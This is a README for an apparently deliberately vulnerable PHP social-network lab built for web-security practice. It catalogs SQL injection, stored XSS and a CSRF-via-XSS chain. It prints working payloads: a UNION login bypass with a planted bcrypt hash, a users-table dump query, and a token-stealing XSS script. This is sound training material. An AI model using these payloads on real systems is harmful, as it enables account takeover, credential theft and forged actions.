VulnSocial
Intentionally vulnerable PHP social network for hands-on web-security research
A deliberately broken Twitter clone running on PHP 8.2 + MySQL 8.4, packaged as a two-container Docker stack. Three textbook web vulnerabilities — UNION-based SQL injection in the login and search paths, a stored cross-site scripting sink in the post timeline, and a documented CSRF boundary that collapses once the XSS lands — sit inside an otherwise well-defended baseline so the breakage is targeted rather than ambient.
What it is
VulnSocial is a small, self-contained playground for practicing
exploit development, secure-coding fixes, and writeups. Close enough
to a real codebase to be interesting, small enough to read in one
sitting. Every other state-changing endpoint is CSRF-protected with a
per-session hash_equals token, every other DB call uses prepared
statements, every username display is htmlspecialchars-encoded, and
passwords go through password_hash + password_verify with bcrypt.
The breakage is surgical — the same primitives present in the safe
paths exist on the unsafe paths, just misused.
The webapp implements the canonical social-network feature set: signup, login/logout, posting a status, search, follow/unfollow with bidirectional friend semantics, profile pages, and a friend-request inbox.
By the numbers
| Metric | Value |
|---|---|
| Containers | 2 (PHP 8.2 + Apache, MySQL 8.4) |
| Vulnerabilities | 4 (2 SQLi, 1 stored XSS, 1 CSRF-via-XSS chain) |
| Defenses left intact | bcrypt, prepared statements (everywhere else), per-session CSRF tokens, HttpOnly + SameSite=Lax cookies |
| Exploit driver | 150-line Python (requests + beautifulsoup4) — full chain end to end |
| Documentation | 9 long-form docs (architecture, threat model, exploit playbook, hardening, API, schema, dev loop) |
Architecture
Browser ──HTTP :8080──▶ webapp container ──mysqli :3306──▶ db container
php:8.2-apache mysql:8.4.8
session + CSRF mint init.sql seedTwo containers on a single bridge network. The webapp talks to MySQL
by service name (db). The DB is not published on the host — only
the webapp on :8080.
Vulnerability catalog
| ID | Class | Location | Sink | Severity (sandbox) |
|---|---|---|---|---|
| V-1 | SQLi | webapp/db/functions.php:44 | checkUserAuth() — login, UNION-based | Critical (auth bypass) |
| V-2 | SQLi | webapp/db/functions.php:90 | filterPostsByContent() — search, UNION | High (full table exfil) |
| V-3 | Stored XSS | webapp/components/post.php:7 | <p> post body, raw echo | High (persists to every viewer) |
| V-4 | CSRF-via-XSS | webapp/actions/get_csrf_token.php | Same-origin token oracle reachable from V-3 | Chained — collapses CSRF defense post-V-3 |
The exploit chain
The included script.py runs the full attack end to end:
- Register a fresh
attacker_acctuser. - Log in as
adminvia UNION-based SQL injection — synthesize a one-row UNION where the third column is a bcrypt hash of a known password the attacker provides at the form level.num_rows == 1andpassword_verifyboth pass; the handler sets$_SESSION["userID"] = 1. - Dump every
(username, bcrypt_hash)pair todb.csvvia the search endpoint's UNION sink. - Plant a stored XSS payload in a post body. When any logged-in user
views the timeline, the payload silently fetches a same-origin
CSRF token, then issues an authenticated
send_friend_requestPOST on the viewer's behalf — friending the attacker without consent.
# V-1 — login as admin
username: ' UNION SELECT 1,'admin','$2y$10$edpOw5BKReEYXiGNpv9coOIhLWxlsAY4IY0yBQPTG.u4KYYfZpXtC' -- -
password: pwned
# V-2 — exfiltrate the users table
search: %' UNION SELECT id, id, password FROM users -- -
# V-3 + V-4 — stored XSS that drives a CSRF-authenticated friend request
<script>fetch('/actions/get_csrf_token.php',{credentials:'include'})
.then(r=>r.text()).then(t=>{const me=document.querySelector(
'a.btn.btn-primary[href*="profile.php?user="]').href.split('user=')[1];
const fd=new FormData();fd.append('from',me);fd.append('to','2');
fd.append('csrf_token',t);fetch('/actions/send_friend_request.php',
{method:'POST',credentials:'include',body:fd});});</script>What makes it interesting
- Targeted breakage, not toy breakage. Most "vulnerable apps" are vulnerable everywhere, which makes them useless for studying any one bug class in isolation. VulnSocial fixes everything except the four bugs in scope, so the surrounding code teaches the right pattern by contrast.
- The CSRF chain is the lesson. A per-session token stops blind cross-origin CSRF cleanly. It does not stop an attacker who can read the same origin via XSS. V-4 is documented explicitly so the takeaway is structural, not "CSRF tokens don't work."
- The bcrypt UNION trick. V-1's payload puts an attacker-known
bcrypt hash in the synthetic UNION row, which means the
password_verifygate after the SQL parses passes. It's a cleaner illustration than the usualOR 1=1because it survives realistic auth code that demands hash verification. - Defense-in-depth audit. Every defense the app does keep —
bcrypt cost,
hash_equalsfor CSRF comparison,mysqli_real_escape_stringon the safe paths,HttpOnlycookies — is documented alongside the bugs, so the writeup doubles as a guide to what the correct patterns look like in legacy PHP.
Stack
| Layer | Technology |
|---|---|
| Runtime | PHP 8.2 + Apache (php:8.2-apache) |
| Database | MySQL 8.4 (mysql:8.4.8) |
| Driver | mysqli with both safe + unsafe paths present |
| Front-end | Bootstrap 4 + jQuery (CDN, no build step) |
| Auth | password_hash + password_verify (bcrypt) |
| Sessions | PHPSESSID, HttpOnly, SameSite=Lax |
| Orchestration | Docker Compose (two services, one bridge net) |
| Exploit driver | Python 3 + requests + beautifulsoup4 |
Documentation
The repo ships with nine long-form docs covering container topology, the request lifecycle, the session/CSRF state machine, threat model, byte-level payload derivations, patch-level hardening with diffs, the full HTTP API, the database schema, and the dev loop.
Safety notice
VulnSocial is deliberately exploitable. It is not safe to expose to a public network or deploy with real users. Run it locally, read it, exploit it, patch it, tear it down.